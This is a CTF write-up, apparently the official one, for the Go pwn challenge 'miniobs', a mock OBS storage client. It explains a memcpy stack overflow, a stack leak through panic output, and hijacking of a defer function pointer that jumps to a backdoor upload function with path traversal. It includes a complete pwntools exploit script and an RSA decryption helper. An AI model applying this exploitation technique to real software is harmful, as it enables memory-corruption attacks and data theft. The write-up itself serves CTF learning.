miniobs

点击此处获得更好的阅读体验


WriteUp来源

官方WP

题目考点

  • OBS服务

解题思路

背景

对象存储服务(Object Storage Service,OBS)是一个基于对象的海量存储服务,为客户提供海量、安全、高可靠、低成本的数据存储能力。 go语言的栈溢出之前有出过类似的3道题目,都是修改的返回地址。这里想使用一个新的利用点(其实差别也不大أ‿أ)。 本题基于以上两点,使用go实现了一个mini版的OBS Browser+,包含3个功能,查看桶信息、上传文件到桶、查看桶文件内容。

赛题逻辑

由于官网提供了go语言的sdk,所以实现起来比较方便。

一、查看桶信息(就是个查看功能,和利用无关)

二、上传文件到桶,这里的逻辑是:

1
2
3
4
5
6
1·输入你想上传的文件名称
2·将输入的内容拷贝到栈上
3·过滤掉.防止路径穿越(也许有别的绕过方法?)
4·将输入的文件名称和/tmp/拼接作为实际获取的文件
5·随机生成RSA密钥对,使用公钥加密上传文件内容并保存在/tmp目录下
6·将加密的上传文件上传到OBS桶上

三、查看桶文件内容,输入你想要访问的桶文件名称,输出文件内容。 四、后门upload函数,这个上传文件函数和上述的功能区别在于:

1
2
1、没有过滤.  
2、会把加密的密钥输出

利用思路

  1. memcpy函数存在溢出,输入的文件名称会拷贝到一个32字节长度的栈变量上,这里会导致栈溢出。

  2. go的栈地址固定,同一系统多次运行栈地址相同(实际测试会有两种情况),所以我们可以通过第一次溢出的panic报错信息泄露栈地址。

  3. 溢出后会由于open文件错误导致panic,也就是到不了返回地址。这里可以思考使用defer函数指针,defer是go语言提供的关键字,类似于finish,即使执行panic函数,里面也会去遍历defer表执行。具体调用链为gopanic->runOpenDeferFrame->reflectcallSave,reflectcallSave的第二个参数就是执行函数指针。

  4. 在距离栈变量偏移0x160的位置就是defer的函数指针,覆盖该地址值为栈地址,同时在该栈地址上写上后门函数地址,即可跳到后门函数执行,这里有一个问题,在修改的地址范围内需要修复一个memmove函数的参数,在偏移0x100的地方。

  5. 利用../home/pwn/flag路径穿越可以将flag文件加密上传到obs桶上,并且会输出密钥,利用3功能获取加密文件内容再使用RSA解密即可得到flag。

decrypt.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package main

import (
"fmt"
"encoding/base64"
"crypto/x509"
"crypto/rsa"
"crypto/rand"
"crypto/sha256"
"io/ioutil"
)

func main(){
f,err := ioutil.ReadFile("./privateKey")
if err !=nil{
fmt.Println("error read privatekey")
}
decodetext,err := ioutil.ReadFile("./flag")
if err !=nil{
fmt.Println("error read flag")
}
keybytes,err := base64.StdEncoding.DecodeString(string(f))
if err !=nil{
fmt.Println("error decodebase64")
}
privatekey,err := x509.ParsePKCS1PrivateKey(keybytes)
if err !=nil{
fmt.Println("error x509")
}
decryptedtext,err := rsa.DecryptOAEP(sha256.New(),rand.Reader,privatekey,decodetext,nil)
if err !=nil{
fmt.Println("error decrypt")
}
fmt.Println(string(decryptedtext))
}

exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
import os
import time
p = process("./main")
#p = remote("127.0.0.1",60001)
context.log_level="debug"
#gdb.attach(p,"b *0x6c162f\nb *0x437b1f")
p.sendline("aa")
def list(p):
p.recvuntil(">>\n")
p.sendline("1")
def upload(name,p):
p.recvuntil(">>\n")
p.sendline("2")
p.recvuntil(">>\n")
p.sendline(name)
def download(name,p):
p.recvuntil(">>\n")
p.sendline("3")
p.recvuntil(">>\n")
p.sendline(name)

upload("a"*0x200,p)
p.recvuntil("fp=")
stack_addr = int(p.recv(9)+"e00",16)
time.sleep(1)
p.close()
p = process("./main")
#p = remote("127.0.0.1",60001)
p.sendline("aa")
upload(p64(0x6c0700)+"a"*0xa0+"b"*0x50+"d"*0x8+p64(stack_addr)+"f"*0x8+"e"*0x10+"c"*0x48+p64(stack_addr)+p64(stack_addr),p)
p.recvuntil(">>\n")
p.sendline("../flag")
p.recvuntil("upload file_name:")
file_name = p.recvline()[:-1]
print file_name
p.recvuntil("privateKey: ")
privateKey = p.recvline()
print privateKey
with open("./privateKey","wb") as f:
f.write(privateKey)
time.sleep(3)
p1 = process("./main")
#p1 = remote("127.0.0.1",60001)
p1.sendline("aa")
download(file_name,p1)
p1.recvuntil("GMT\n")
encrypt_flag = p1.recvuntil("####")[:-5]
with open("./flag","wb") as f:
f.write(encrypt_flag)
p1.close()
process = os.popen("./decrypt")
output = process.read()
print output
process.close()